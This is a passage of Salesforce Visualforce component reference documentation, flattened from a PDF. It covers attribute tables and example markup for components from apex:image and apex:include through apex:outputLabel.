10.0
global
scrolling
Boolean
10.0
global
src
String
The URL that specifies the initial contents of the inline frame.
This URL can either be an external website, or another page
in the application.
10.0
global
title
String
10.0
global
width
String
10.0
global
apex:image
A graphic image, rendered with the HTML <img> tag.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<img> tag.
418
apex:image
Example
<apex:image id="theImage" value="/img/myimage.gif" width="220" height="55"/>
Resource Example
<apex:image id="theImage" value="{!$Resource.myResourceImage}" width="200" height="200"/>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
alt
String
10.0
global
dir
String
10.0
global
height
String
10.0
global
id
String
10.0
global
ismap
Boolean
10.0
global
419
apex:image
Description
Required? API
Access
Version
lang
String
10.0
global
longdesc
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
rendered
Boolean
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
title
String
10.0
global
url
String
10.0
global
420
apex:include
Description
Required? API
Access
Version
usemap
String
10.0
global
value
Object
10.0
global
width
String
10.0
global
apex:include
A component that inserts a second Visualforce page into the current page. The entire page subtree is injected into the Visualforce DOM
at the point of reference and the scope of the included page is maintained.
If content should be stripped from the included page, use the <apex:composition> component instead.
Example
<!-- Page: -->
<apex:page id="thePage">
<apex:outputText value="(page) This is the page."/><br/>
<apex:include pageName="include"/>
</apex:page>
<!-- Page: include -->
<apex:page id="theIncludedPage">
<apex:outputText value="(include) This is text from another page."/>
</apex:page>
Attributes
Attribute Name Attribute Type
id
String
Description
Required? API
Access
Version
421
10.0
global
apex:includeLightning
Description
Required? API
Access
Version
pageName
ApexPages.PageReference The Visualforce page whose content should be inserted into Yes
the current page. For this value, specify the name of the
Visualforce page or use merge-field syntax to reference a page
or PageReference.
10.0
global
rendered
Boolean
10.0
global
apex:includeLightning
Includes the Lightning Components for Visualforce JavaScript library, lightning.out.js, from the correct Salesforce domain.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
global
rendered
Boolean
14.0
global
apex:includeScript
A link to a JavaScript library that can be used in the Visualforce page. When specified, this component injects a script reference into the
<head> element of the generated HTML page.
Multiple references to the same script are de-duplicated, making this component safe to use inside an iteration component. This might
occur if, for example, you use an <apex:includeScript> inside a custom component, and then use that component inside an
<apex:repeat> iteration.
For performance reasons, you might choose to use a static JavaScript tag before your closing <apex:page> tag, rather than this
component. If you do, you'll need to manage de-duplication yourself.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<script> tag.
Example
<apex:includeScript value="{!$Resource.example_js}"/>
422
apex:inlineEditSupport
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
13.0
loadOnReady
Boolean
29.0
global
Scripts loaded this way will be added to the DOM after the
onload event is triggered, instead of immediately. This
event occurs after the DOM is constructed, but might be
before child frames or external resources, such as images,
have finished loading.
value
Object
Yes
13.0
global
apex:inlineEditSupport
This component provides inline editing support to <apex:outputField> and various container components. In order to support
inline editing, this component must also be within an <apex:form> tag.
The <apex:inlineEditSupport> component can only be a descendant of the following tags:
<apex:dataList>
<apex:dataTable>
<apex:form>
<apex:outputField>
<apex:pageBlock>
<apex:pageBlockSection>
<apex:pageBlockTable>
<apex:repeat>
See also: the inlineEdit attribute of <apex:detail>
423
apex:inlineEditSupport
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid contact record in the URL.
For example, if 001D000000IRt53 is the contact ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController="Contact">
<apex:form >
<apex:pageBlock mode="inlineEdit">
<apex:pageBlockButtons >
<apex:commandButton action="{!edit}" id="editButton" value="Edit"/>
<apex:commandButton action="{!save}" id="saveButton" value="Save"/>
<apex:commandButton onclick="resetInlineEdit()" id="cancelButton"
value="Cancel"/>
</apex:pageBlockButtons>
<apex:pageBlockSection >
<apex:outputField value="{!contact.lastname}">
<apex:inlineEditSupport showOnEdit="saveButton, cancelButton"
hideOnEdit="editButton" event="ondblclick"
changedStyleClass="myBoldClass" resetFunction="resetInlineEdit"/>
</apex:outputField>
<apex:outputField value="{!contact.accountId}"/>
<apex:outputField value="{!contact.phone}"/>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
changedStyleClass String
21.0
disabled
Boolean
21.0
event
String
21.0
hideOnEdit
Object
21.0
424
apex:input
Description
Required? API
Access
Version
id
String
10.0
rendered
Boolean
21.0
resetFunction String
21.0
Object
21.0
showOnEdit
global
apex:input
An HTML5-friendly general purpose input component that adapts to the data expected by a form field. It uses the HTML type attribute
to allow client browsers to display type-appropriate user input widgets, such as a date picker or range slider, or to perform client-side
formatting or validation, such as with a numeric range or a telephone number. Use this component to get user input for a controller
property or method that does not correspond to a field on a Salesforce object.
This component doesn't use Salesforce styling. Also, since it doesn't correspond to a Salesforce field, or any other data on an object,
custom code is required to use the value the user enters.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input> tag.
Example
<apex:input value="{!inputValue}" id="theTextInput"/>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
accesskey
String
The keyboard access key that puts the field in focus. When
the text box is in focus, a user can select or deselect the field
value.
29.0
alt
String
29.0
dir
String
29.0
425
apex:input
Description
Required? API
Access
Version
disabled
Boolean
29.0
id
String
29.0
label
String
29.0
lang
String
29.0
list
Object
29.0
String
29.0
onchange
String
29.0
onclick
String
29.0
ondblclick
String
29.0
onfocus
String
29.0
onkeydown
String
29.0
onkeypress
String
29.0
onkeyup
String
29.0
onmousedown
String
29.0
onmousemove
String
29.0
426
global
apex:input
Description
Required? API
Access
Version
onmouseout
String
29.0
onmouseover
String
29.0
onmouseup
String
29.0
rendered
Boolean
29.0
required
Boolean
29.0
size
Integer
29.0
style
String
29.0
styleClass
String
29.0
tabindex
String
29.0
title
String
29.0
type
String
29.0
auto
date
datetime
datetime-local
month
week
time
email
number
range
427
apex:inputCheckbox
Description
Required? API
Access
Version
search
tel
text
url
value
Object
29.0
apex:inputCheckbox
An HTML input element of type checkbox. Use this component to get user input for a controller method that does not correspond to a
field on a Salesforce object.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input> tag.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid opportunity record in the URL.
For example, if 001D000000IRt53 is the opportunity ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController="Opportunity" recordSetVar="opportunities"
tabstyle="opportunity">
<apex:form id="changePrivacyForm">
<apex:pageBlock >
<apex:pageMessages />
<apex:pageBlockButtons>
<apex:commandButton value="Save" action="{!save}"/>
</apex:pageBlockButtons>
<apex:pageBlockTable value="{!opportunities}" var="o">
<apex:column value="{!o.name}"/>
<apex:column value="{!o.account.name}"/>
<apex:column headerValue="Private?">
<apex:inputCheckbox value="{!o.isprivate}"/>
</apex:column>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:form>
</apex:page>
428
apex:inputCheckbox
429
apex:inputCheckbox
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
accesskey
String
10.0
global
dir
String
10.0
global
disabled
Boolean
10.0
global
id
String
10.0
global
immediate
Boolean
11.0
global
label
String
23.0
lang
String
10.0
global
onblur
String
10.0
global
onchange
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onfocus
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
430
apex:inputCheckbox
Description
Required? API
Access
Version
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
onselect
String
10.0
global
rendered
Boolean
10.0
global
required
Boolean
10.0
global
selected
Boolean
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
tabindex
String
10.0
global
title
String
10.0
global
value
Object
10.0
global
431
apex:inputField
Description
Required? API
Access
Version
apex:inputField
An HTML input element for a value that corresponds to a field on a Salesforce object. The <apex:inputField> component respects
the attributes of the associated field, including whether the field is required or unique, and the user interface widget to display to get
input from the user. For example, if the specified <apex:inputField> component is a date field, a calendar input widget is
displayed. When used in an <apex:pageBlockSection>, <apex:inputField> tags automatically display with their
corresponding output label.
Consider the following when using DOM events with this tag:
For lookup fields, mouse events fire on both the text box and graphic icon.
For multi-select picklists, all events fire, but the DOM ID is suffixed with _unselected for the left box, _selected for the
right box, and _right_arrow and _left_arrow for the graphic icons.
For rich text areas, no events fire.
Note:
Read-only fields, and fields for certain Salesforce objects with complex automatic behavior, such as Event.StartDateTime
and Event.EndDateTime, don't render as editable when using <apex:inputField>. Use a different input component
such as <apex:inputText> instead.
An <apex:inputField> component for a rich text area field can't be used for image uploads in Site.com sites or Force.com
Sites due to security constraints. If you want to enable users to upload image files in either of those contexts, use an
<apex:inputFile> component.
If custom help is defined for the field in Setup, the field must be a child of an <apex:pageBlock> or
<apex:pageBlockSectionItem>, and the Salesforce page header must be displayed for the custom help to appear on
your Visualforce page. To override the display of custom help, use the <apex:inputField> in the body of an
<apex:pageBlockSectionItem>.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input> tag.
Example
<!-- For this example to render fully, associate the page
with a valid account record in the URL.
For example: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 -->
<apex:page standardController="Account">
<apex:form>
<apex:pageBlock title="My Content" mode="edit">
<apex:pageBlockButtons>
<apex:commandButton action="{!save}" value="Save"/>
</apex:pageBlockButtons>
<apex:pageBlockSection title="My Content Section" columns="2">
432
apex:inputField
<apex:inputField value="{!account.name}"/>
<apex:inputField value="{!account.site}"/>
<apex:inputField value="{!account.type}"/>
<apex:inputField value="{!account.accountNumber}"/>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
10.0
label
String
A text value that allows you to override the default label that
is displayed for the field. You can set label to an empty string
to hide the label on forms. Setting it to null is an error.
23.0
list
Object
29.0
global
String
12.0
global
onchange
String
12.0
global
onclick
String
12.0
global
ondblclick
String
12.0
global
onfocus
String
12.0
global
onkeydown
String
12.0
global
onkeypress
String
12.0
global
433
apex:inputField
Description
Required? API
Access
Version
onkeyup
String
12.0
global
onmousedown
String
12.0
global
onmousemove
String
12.0
global
onmouseout
String
12.0
global
onmouseover
String
12.0
global
onmouseup
String
12.0
global
onselect
String
12.0
global
rendered
Boolean
10.0
global
required
Boolean
10.0
global
If this input field displays a custom object name, its value can
be set to nil and won't be required unless you set this attribute
to true. The same doesn't apply to standard object names,
which are always required regardless of this attribute.
showDatePicker Boolean
434
29.0
apex:inputFile
Description
Required? API
Access
Version
style
String
12.0
global
styleClass
String
12.0
global
23.0
29.0
taborderhint Integer
type
String
auto
date
datetime
datetime-local
month
week
time
email
number
range
search
tel
text
url
value
Object
apex:inputFile
A component that creates an input field to upload a file.
Note: The maximum file size that can be uploaded via Visualforce is 10 MB.
435
10.0
global
apex:inputFile
Example
<!-- Upload a file and put it in your personal documents folder-->
<!-- Page: -->
<apex:page standardController="Document" extensions="documentExt">
<apex:messages />
<apex:form id="theForm">
<apex:pageBlock>
<apex:pageBlockSection>
<apex:inputFile value="{!document.body}" filename="{!document.name}"/>
<apex:commandButton value="Save" action="{!save}"/>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
/*** Controller ***/
public class documentExt {
public documentExt(ApexPages.StandardController controller) {
Document d = (Document) controller.getRecord();
d.folderid = UserInfo.getUserId(); //this puts it in My Personal Documents
}
}
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
accept
String
14.0
accessKey
String
14.0
alt
String
14.0
contentType
String
14.0
dir
String
14.0
disabled
Boolean
14.0
fileName
String
14.0
fileSize
Integer
14.0
436
apex:inputFile
Description
Required? API
Access
Version
id
String
14.0
lang
String
14.0
onblur
String
14.0
onchange
String
14.0
onclick
String
14.0
ondblclick
String
14.0
onfocus
String
14.0
onkeydown
String
14.0
onkeypress
String
14.0
onkeyup
String
14.0
onmousedown
String
14.0
onmousemove
String
14.0
onmouseout
String
14.0
onmouseover
String
14.0
rendered
Boolean
14.0
required
Boolean
14.0
437
global
global
apex:inputHidden
Description
Required? API
Access
Version
size
Integer
14.0
style
String
14.0
styleclass
String
14.0
tabindex
Integer
14.0
title
String
14.0
value
Blob
A merge field that references the controller class variable that Yes
is associated with this component. For example, if the name
of the associated variable in the controller class is myInputFile,
use value="#{myInputFile}" to reference the variable.
14.0
apex:inputHidden
An HTML input element of type hidden, that is, an input element that is invisible to the user. Use this component to pass variables from
page to page.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input> tag.
Example
<apex:inputHidden value="{!inputValue}" id="theHiddenInput"/>
Attributes
Attribute Name Attribute Type
id
String
Description
Required? API
Access
Version
438
10.0
global
apex:inputSecret
Description
Required? API
Access
Version
immediate
Boolean
11.0
global
rendered
Boolean
10.0
global
required
Boolean
10.0
global
value
Object
10.0
global
apex:inputSecret
An HTML input element of type password. Use this component to get user input for a controller method that does not correspond to a
field on a Salesforce object, for a value that is masked as the user types.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input> tag.
Example
<apex:inputSecret value="{!inputValue}" id="theSecretInput"/>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
accesskey
String
The keyboard access key that puts the field in focus. When
the field is in focus, a user can enter a value.
10.0
global
alt
String
10.0
global
439
apex:inputSecret
Description
Required? API
Access
Version
dir
String
10.0
global
disabled
Boolean
10.0
global
id
String
10.0
global
immediate
Boolean
11.0
global
label
String
23.0
lang
String
10.0
global
maxlength
Integer
10.0
global
onblur
String
10.0
global
onchange
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onfocus
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
440
apex:inputSecret
Description
Required? API
Access
Version
onmousedown
String
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
onselect
String
10.0
global
readonly
Boolean
10.0
global
redisplay
Boolean
10.0
global
rendered
Boolean
10.0
global
required
Boolean
10.0
global
size
Integer
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
tabindex
String
10.0
global
441
apex:inputText
Description
Required? API
Access
Version
title
String
10.0
global
value
Object
10.0
global
apex:inputText
An HTML input element of type text. Use this component to get user input for a controller method that does not correspond to a field
on a Salesforce object.
This component doesn't use Salesforce styling. Also, since it doesn't correspond to a field, or any other data on an object, custom code
is required to use the value the user enters.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input> tag.
Example
<apex:inputText value="{!inputValue}" id="theTextInput"/>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
accesskey
String
The keyboard access key that puts the field in focus. When
the text box is in focus, a user can select or deselect the field
value.
10.0
global
alt
String
10.0
global
dir
String
10.0
global
disabled
Boolean
10.0
global
id
String
10.0
global
442
apex:inputText
Description
Required? API
Access
Version
label
String
23.0
lang
String
10.0
list
Object
29.0
global
Integer
10.0
global
onblur
String
10.0
global
onchange
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onfocus
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
443
apex:inputTextarea
Description
Required? API
Access
Version
onmouseover
String
10.0
global
onmouseup
String
10.0
global
rendered
Boolean
10.0
global
required
Boolean
10.0
global
size
Integer
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
tabindex
String
10.0
global
title
String
10.0
global
value
Object
10.0
global
apex:inputTextarea
A text area input element. Use this component to get user input for a controller method that does not correspond to a field on a Salesforce
object, for a value that requires a text area.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<textarea> tag.
444
apex:inputTextarea
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid contract record in the URL.
For example, if 001D000000IRt53 is the contract ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController="Contract">
<apex:form id="changeDescription">
<apex:pageBlock>
<p>Current description: {!contract.description}</p>
<p>Change description to:</p>
<apex:inputTextarea id="newDesc" value="{!contract.description}"/><p/>
<apex:commandButton value="Save" action="{!save}"/>
</apex:pageBlock>
</apex:form>
</apex:page>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
accesskey
String
The keyboard access key that puts the text area in focus. When
the text area is in focus, a user can enter a value.
10.0
global
cols
Integer
10.0
global
dir
String
10.0
global
445
apex:inputTextarea
Description
Required? API
Access
Version
disabled
Boolean
10.0
global
id
String
10.0
global
label
String
23.0
lang
String
10.0
global
onblur
String
10.0
global
onchange
String
10.0
global
onclick
String
10.0
global
ondblclick
String
10.0
global
onfocus
String
10.0
global
onkeydown
String
10.0
global
onkeypress
String
10.0
global
onkeyup
String
10.0
global
onmousedown
String
10.0
global
onmousemove
String
10.0
global
onmouseout
String
10.0
global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
446
apex:insert
Description
Required? API
Access
Version
onselect
String
10.0
global
readonly
Boolean
10.0
global
rendered
Boolean
10.0
global
required
Boolean
10.0
global
richText
Boolean
10.0
global
rows
Integer
10.0
global
style
String
10.0
global
styleClass
String
The style class used to display the text area component, used
primarily to designate which CSS styles are applied when
using an external CSS stylesheet.
10.0
global
tabindex
String
10.0
global
title
String
10.0
global
value
Object
10.0
global
apex:insert
A template component that declares a named area that must be defined by an <apex:define> component in another Visualforce
page. Use this component with the <apex:composition> and <apex:define> components to share data between multiple
pages.
447
apex:legend
Example
<!-- Page: composition -->
<!-- This page acts as the template. Create it first, then the page below. -->
<apex:page>
<apex:outputText value="(template) This is before the header"/><br/>
<apex:insert name="header"/><br/>
<apex:outputText value="(template) This is between the header and body"/><br/>
<apex:insert name="body"/>
</apex:page>
<!-- Page: page -->
<apex:page>
<apex:composition template="composition">
<apex:define name="header">(page) This is the header of mypage</apex:define>
<apex:define name="body">(page) This is the body of mypage</apex:define>
</apex:composition>
</apex:page>
Attributes
Attribute Name Attribute Type
name
String
Description
Required? API
Access
Version
Yes
10.0
global
apex:legend
Defines a chart legend. This component offers additional configuration options beyond the defaults used by the legend attribute of the
<apex:chart> component.
Note: This component must be enclosed within an <apex:chart> component.
Example
<!-- Page: -->
<apex:chart height="400" width="700" data="{!data}">
<apex:legend position="right"/>
<apex:axis type="Numeric" position="left" fields="data1,data2"
title="Opportunities Closed" grid="true"/>
<apex:axis type="Category" position="bottom" fields="name"
title="Month of the Year"/>
448
apex:lineSeries
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
font
String
23.0
id
String
23.0
padding
Integer
23.0
position
String
Yes
global
23.0
left
right
top
bottom
rendered
Boolean
23.0
spacing
Integer
23.0
apex:lineSeries
A data series to be rendered as connected points in a linear Visualforce chart. At a minimum you must specify the fields in the data
collection to use as X and Y values for each point, as well as the X and Y axes to scale against.
Note: This component must be enclosed within an <apex:chart> component. You can have multiple <apex:barSeries>
and <apex:lineSeries> components in a single chart. You can also add <apex:areaSeries> and
<apex:scatterSeries> components, but the results might not be very readable.
Example
<!-- Page: -->
<apex:chart height="400" width="700" data="{!data}">
<apex:axis type="Numeric" position="left" fields="data1,data2"
title="Opportunities Closed" grid="true"/>
<apex:axis type="Category" position="bottom" fields="name"
449
apex:lineSeries
Attributes
Attribute Name Attribute Type
axis
String
Description
Required? API
Access
Version
Which axis this chart series should bind to. Must be one of
the four edges of the chart:
Yes
23.0
left
right
top
bottom
The axis bound to must be defined by a sibling
<apex:axis> component.
fill
Boolean
23.0
fillColor
String
A string that specifies the color to use to fill the area under
the line, specified as an HTML-style (hexadecimal) color. If not
specified, the fill color matches the line color. Only used if fill
is set to true.
26.0
highlight
Boolean
23.0
highlightStrokeWidth String
A string that specifies the width of the line that is drawn over
the series line when it's highlighted.
26.0
id
String
23.0
markerFill
String
23.0
markerSize
Integer
The size of each data point marker for this series. If not
specified, this value defaults to "3".
23.0
450
global
String
apex:lineSeries
Description
Required? API
Access
Version
The shape of each data point marker for this series. Valid
options are:
23.0
circle
cross
If not specified, the marker shape is chosen from a sequence
of shapes.
opacity
String
26.0
rendered
Boolean
23.0
rendererFn
String
26.0
23.0
showInLegend Boolean
smooth
Integer
26.0
strokeColor
String
A string specifying the color of the line for this series, specified
as an HTML-style (hexadecimal) color. If not specified, colors
are used in sequence from the chart colorSet or theme.
26.0
strokeWidth
String
26.0
tips
Boolean
23.0
title
String
23.0
xField
String
The field in each record provided in the chart data from which Yes
to retrieve the x-axis value for each data point in the series.
This field must exist in every record in the chart data.
23.0
yField
String
The field in each record provided in the chart data from which Yes
to retrieve the y-axis value for each data point in the series.
This field must exist in every record in the chart data.
23.0
451
apex:listViews
apex:listViews
The list view picklist for an object, including its associated list of records for the currently selected view. In standard Salesforce applications
this component is displayed on the main tab for a particular object.
See also: <apex:enhancedList>.
Example
<apex:page showHeader="true" tabstyle="Case">
<apex:ListViews type="Case" />
<apex:ListViews type="MyCustomObject__c" />
</apex:page>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
10.0
global
rendered
Boolean
10.0
global
type
String
The Salesforce object for which list views are displayed, for Yes
example, type="Account" or type="My_Custom_Object__c".
10.0
global
Facets
Facet Name
Description
API
Version
body
The components that should appear in the body of the displayed list of records. Note
10.0
that the order in which a body facet appears in a listViews component does not matter,
because any facet with name="body" will control the appearance of the body of the
displayed list. Also note that if you define a body facet, it replaces the list of records that
would normally display as part of the list view.
footer
The components that should appear in the footer of the displayed list of records. Note 10.0
that the order in which a footer facet appears in the body of a listViews component does
not matter, because any facet with name="footer" will control the appearance of the
bottom of the displayed list.
header
The components that should appear in the header of the displayed list of records. Note 10.0
that the order in which a header facet appears in the body of a listViews component does
452
Facet Name
apex:logCallPublisher
Description
API
Version
not matter, because any facet with name="header" will control the appearance of the
top of the displayed list.
apex:logCallPublisher
The Log a Call publisher lets support agents who use Case Feed create logs for customer calls. This component can only be used in
organizations that have Case Feed, Chatter, and feed tracking on cases enabled.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
autoCollapseBody Boolean
25.0
entityId
id
id
String
14.0
logCallBody
String
The initial text value of the Log a Call body when the publisher
is rendered.
25.0
logCallBodyHeight String
25.0
onSubmitFailure String
25.0
onSubmitSuccess String
25.0
453
Yes
25.0
global
apex:map
Description
Required? API
Access
Version
rendered
Boolean
14.0
reRender
Object
25.0
showAdditionalFields Boolean
25.0
showSubmitButton Boolean
25.0
submitButtonName String
25.0
submitFunctionName String
25.0
title
String
25.0
width
String
25.0
global
apex:map
Display an interactive, JavaScript-based map, complete with zooming, panning, and markers based on your Salesforce or other data.
<apex:map> doesn't, by itself, display map markers, even for the center point. To display up to 100 markers, add child
<apex:mapMarker> components.
454
apex:map
Attributes
Attribute Name Attribute Type
center
Object
Description
Required? API
Access
Version
32.0
String
32.0
String
32.0
mapType
String
32.0
hybrid
roadmap
satellite
455
global
apex:mapInfoWindow
Description
Required? API
Access
Version
32.0
scrollBasedZooming Boolean
37.0
showOnlyActiveInfoWindow Boolean
34.0
32.0
rendered
width
Boolean
String
Integer
32.0
apex:mapInfoWindow
Defines an info window for the marker displayed at a location on an <apex:map>. The body of the <apex:mapInfoWindow>
component is displayed in the info window when users click or tap the marker. The body of the <apex:mapInfoWindow> can be
Visualforce markup, HTML and CSS, or even plain text.
By default only one info window displays at a time. That is, when you click another marker, the first info window disappears and the new
info window appears. To display multiple info windows at once, set showOnlyActiveInfoWindow to false on the containing
<apex:map> component.
Note: This component must be enclosed within an <apex:mapMarker> component.
456
apex:mapInfoWindow
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
34.0
maxWidth
Integer
34.0
457
global
Boolean
apex:mapMarker
Description
Required? API
Access
Version
34.0
apex:mapMarker
Defines a marker to be displayed at a location on an <apex:map>.
Note: This component must be enclosed within an <apex:map> component. You can add up to 100 <apex:mapMarker>
components to a single map.
458
apex:message
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
icon
String
34.0
id
String
32.0
position
Object
Yes
global
32.0
Boolean
32.0
title
String
Text to display when the user's cursor moves over the marker.
That is, when the marker's mouseover event is triggered.
32.0
apex:message
A message for a specific component, such as a warning or error. If an <apex:message> or <apex:messages> component is
not included in a page, most warning and error messages are only shown in the debug log.
459
apex:message
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- Page: -->
<apex:page controller="MyController" tabStyle="Account">
<style>
.locationError { color: blue; font-weight: strong;}
.employeeError { color: green; font-weight: strong;}
</style>
<apex:form >
<apex:pageBlock title="Hello {!$User.FirstName}!">
This is your new page for the {!name} controller. <br/>
You are viewing the {!account.name} account.
<p>Number of Locations: <apex:inputField value="{!account.NumberofLocations__c}"
id="Location_validation"/>
(Enter an alphabetic character here, then click Save to see what happens.) </p>
<p>Number of Employees: <apex:inputField value="{!account.NumberOfEmployees}"
id="Employee_validation"/>
(Enter an alphabetic character here, then click Save to see what happens.) </p>
<p />
<apex:commandButton action="{!save}" value="Save"/>
<p />
<apex:message for="Location_validation" styleClass="locationError" /> <p />
<apex:message for="Employee_validation" styleClass="employeeError" />
<p />
</apex:pageBlock>
</apex:form>
</apex:page>
/*** Controller ***/
public class MyController {
Account account;
public PageReference save() {
try{
update account;
}
catch(DmlException ex){
ApexPages.addMessages(ex);
}
return null;
}
public String getName() {
return 'MyController';
}
460
apex:messages
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
dir
String
10.0
global
for
String
10.0
global
id
String
10.0
global
lang
String
10.0
global
rendered
Boolean
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
title
String
10.0
global
apex:messages
All messages that were generated for all components on the current page. If an <apex:message> or <apex:messages>
component is not included in a page, most warning and error messages are only shown in the debug log.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<ul> tag. (Each message is contained in a list item.)
461
apex:messages
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
462
apex:milestoneTracker
return account;
}
}
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
dir
String
10.0
global
globalOnly
Boolean
10.0
global
id
String
10.0
global
lang
String
10.0
global
layout
String
10.0
global
rendered
Boolean
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
title
String
10.0
global
apex:milestoneTracker
Displays the milestone tracker.
463
apex:outputField
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
Yes
entityId
String
29.0
id
String
14.0
global
rendered
Boolean
14.0
global
apex:outputField
A read-only display of a label and value for a field on a Salesforce object. An <apex:outputField> component respects the
attributes of the associated field, including how it should be displayed to the user. For example, if the specified <apex:outputField>
component is a currency field, the appropriate currency symbol is displayed. Likewise, if the <apex:outputField> component
is a lookup field or URL, the value of the field is displayed as a link.
Note that if custom help is defined for the field in Setup, the field must be a child of an <apex:pageBlock> or
<apex:pageBlockSectionItem>, and the Salesforce page header must be displayed for the custom help to appear on your
Visualforce page. To override the display of custom help, use the <apex:outputField> in the body of an
<apex:pageBlockSectionItem>.
The Rich Text Area data type can only be used with this component on pages running Salesforce.com API versions greater than 18.0.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
container <span> tag.
Example
<!-- For this example to render properly, you must associate the Visualforce page
with a valid opportunity record in the URL.
For example, if 001D000000IRt53 is the opportunity ID, the resulting URL should be:
https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController="Opportunity" tabStyle="Opportunity">
<apex:pageBlock>
464
apex:outputField
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
dir
String
10.0
global
id
String
10.0
global
label
String
23.0
lang
String
10.0
global
rendered
Boolean
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
title
String
10.0
global
value
Object
10.0
global
465
apex:outputLabel
apex:outputLabel
A label for an input or output field. Use this component to provide a label for a controller method that does not correspond to a field
on a Salesforce object.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<label> tag.
Example
<apex:outputLabel value="Checkbox" for="theCheckbox"/>
<apex:inputCheckbox value="{!inputValue}" id="theCheckbox"/>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
accesskey
String
The keyboard access key that puts the label and its associated
field in focus.
10.0
global
dir
String
10.0
global
escape
Boolean
10.0
global
String
10.0
global
id
String
10.0
global
lang
String
10.0
global
466
apex:outputLabel
Description
Required? API
Access
Version
onblur
String
10.0
global
onclick
String
10.0
global
ondblclick
